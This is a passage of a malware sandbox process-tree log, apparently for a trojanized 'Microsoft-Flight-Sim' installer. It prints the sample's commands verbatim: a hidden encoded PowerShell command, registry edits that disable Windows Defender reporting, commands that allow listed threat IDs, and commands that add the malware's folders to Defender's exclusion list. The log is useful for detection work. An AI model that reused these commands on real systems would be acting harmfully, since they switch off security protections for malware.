  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1908
      4⤵
      Program crash
      PID:5108

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5532 -ip 5532
1⤵
PID:3376

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 5532 -ip 5532
1⤵
PID:4596

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 5532 -ip 5532
1⤵
PID:2836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5532 -ip 5532
1⤵
PID:4152

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 5308 -ip 5308
1⤵
PID:2888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 5308 -ip 5308
1⤵
PID:3272

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 5308 -ip 5308
1⤵
PID:1232

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 5308 -ip 5308
1⤵
PID:3916

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 5308 -ip 5308
1⤵
PID:4000

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 5308 -ip 5308
1⤵
PID:5940

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 5308 -ip 5308
1⤵
PID:2416

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 5308 -ip 5308
1⤵
PID:3568

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 5308 -ip 5308
1⤵
PID:3896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 5308 -ip 5308
1⤵
PID:2072

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 5308 -ip 5308
1⤵
PID:6140

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 5308 -ip 5308
1⤵
PID:4816

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 5308 -ip 5308
1⤵
PID:2988

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5308 -ip 5308
1⤵
PID:5940

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 5308 -ip 5308
1⤵
PID:3668

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 5308 -ip 5308
1⤵
PID:5924

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 5308 -ip 5308
1⤵
PID:5772

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 5308 -ip 5308
1⤵
PID:1492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 5308 -ip 5308
1⤵
PID:4984

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4584

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 5308 -ip 5308
1⤵
PID:5852

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 5308 -ip 5308
1⤵
PID:7056

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 5308 -ip 5308
1⤵
PID:7112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 5308 -ip 5308
1⤵
PID:6824

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 5308 -ip 5308
1⤵
PID:7076

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 5308 -ip 5308
1⤵
PID:7000

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 5308 -ip 5308
1⤵
PID:6536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 5308 -ip 5308
1⤵
PID:6836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 5308 -ip 5308
1⤵
PID:1224

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 5308 -ip 5308
1⤵
PID:6340

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 5308 -ip 5308
1⤵
PID:6624

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 5308 -ip 5308
1⤵
PID:5776

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 5308 -ip 5308
1⤵
PID:5824

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 helpmsg 2
1⤵
PID:5756

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 pause CDCollection0218
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:748

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 5308 -ip 5308
1⤵
PID:6172

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 5308 -ip 5308
1⤵
PID:6596

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 5308 -ip 5308
1⤵
PID:4816

C:\Users\Admin\AppData\Local\Temp\is-SS7CU.tmp\is-2DA4B.tmp
"C:\Users\Admin\AppData\Local\Temp\is-SS7CU.tmp\is-2DA4B.tmp" /SL4 $403E0 "C:\Users\Admin\AppData\Local\Temp\DzEW2X23\T73k12R3i9On0dJFlgKp.exe" 768497 52736
1⤵
PID:2440

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 5308 -ip 5308
1⤵
- Loads dropped DLL
- Modifies registry class
PID:6012

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
1⤵
PID:788

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:3196
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:6980

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 5308 -ip 5308
1⤵
PID:3172

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 5308 -ip 5308
1⤵
PID:2440
- C:\Program Files (x86)\YncBackup\SyncBackupShell.exe
  "C:\Program Files (x86)\YncBackup\SyncBackupShell.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:6904

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
1⤵
PID:5920

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 5308 -ip 5308
1⤵
PID:1388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5308 -ip 5308
1⤵
PID:788

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 5308 -ip 5308
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:2440

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 5308 -ip 5308
1⤵
PID:6492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 5308 -ip 5308
1⤵
PID:6496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:4996

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:6984

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 5308 -ip 5308
1⤵
PID:5036

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:5448

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 5308 -ip 5308
1⤵
PID:6216

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 5308 -ip 5308
1⤵
PID:6344

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5308 -ip 5308
1⤵
PID:6752

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 5308 -ip 5308
1⤵
PID:6412

C:\Users\Admin\Downloads\Microsoft-Flight-Sim_3Id1M4Xh\Microsoft-Flight-Sim_3Id1M4Xh.exe
"C:\Users\Admin\Downloads\Microsoft-Flight-Sim_3Id1M4Xh\Microsoft-Flight-Sim_3Id1M4Xh.exe"
1⤵
- Suspicious use of SetWindowsHookEx
PID:6552
- C:\Users\Admin\AppData\Local\Temp\is-Q9K6B.tmp\is-50NG3.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-Q9K6B.tmp\is-50NG3.tmp" /SL4 $50268 "C:\Users\Admin\Downloads\Microsoft-Flight-Sim_3Id1M4Xh\Microsoft-Flight-Sim_3Id1M4Xh.exe" 3378834 52736
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  - Suspicious use of SetWindowsHookEx
  PID:6212
- - C:\Program Files (x86)\jLiteSort\jLiteSort312.exe
    "C:\Program Files (x86)\jLiteSort\jLiteSort312.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:6192
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6192 -s 908
      4⤵
      Program crash
      PID:6112
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6192 -s 944
      4⤵
      Program crash
      PID:4148
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6192 -s 140
      4⤵
      Program crash
      PID:5832
- - C:\Windows\SysWOW64\net.exe
    "C:\Windows\system32\net.exe" helpmsg 9
    3⤵
    PID:5264
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 helpmsg 9
      4⤵
      PID:2040
- - C:\Program Files (x86)\jLiteSort\jLiteSort312.exe
    "C:\Program Files (x86)\jLiteSort\jLiteSort312.exe" 584625b2f5481e40e9c95ab9c3e51d75
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:1480
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1480 -s 140
      4⤵
      Program crash
      PID:6128
- - C:\Windows\SysWOW64\net.exe
    "C:\Windows\system32\net.exe" pause jLiteSort312
    3⤵
    PID:6840
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 pause jLiteSort312
      4⤵
      PID:6984

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 6192 -ip 6192
1⤵
PID:6104

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 6192 -ip 6192
1⤵
PID:2888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 6192 -ip 6192
1⤵
PID:6704

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 1480 -ip 1480
1⤵
PID:6952

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /7
1⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:6840

C:\Users\Admin\AppData\Local\Temp\dSzJNCAvcFBoQOcHn\snpDkpLCxFfttmr\QklQMyE.exe
C:\Users\Admin\AppData\Local\Temp\dSzJNCAvcFBoQOcHn\snpDkpLCxFfttmr\QklQMyE.exe lP /site_id 690689 /S
1⤵
- Executes dropped EXE
PID:3916
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5832
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5700
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:2900
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5108
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3824
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5164
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5696
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6288
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3288
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5124
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3852
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6944
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6036
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6756
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6648
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6748
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2760
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6672
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6380
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3448
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3744
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5644
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5948
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5020
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5140
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4944
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5104
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3600
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\FabvMqmCGtcU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\FabvMqmCGtcU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\FljXGoDRU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\FljXGoDRU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JRzqqPmkkEUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JRzqqPmkkEUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ScsKRPKpmwzHC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ScsKRPKpmwzHC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cEBYBVDCRDFbvvIXEpR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cEBYBVDCRDFbvvIXEpR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\YSDpelflPRwzBVVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\YSDpelflPRwzBVVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\dSzJNCAvcFBoQOcHn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\dSzJNCAvcFBoQOcHn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\XbLUrZfYmSFRQkJs\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\XbLUrZfYmSFRQkJs\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2072
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FabvMqmCGtcU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:6912
  - - C:\Windows\SysWOW64\reg.exe
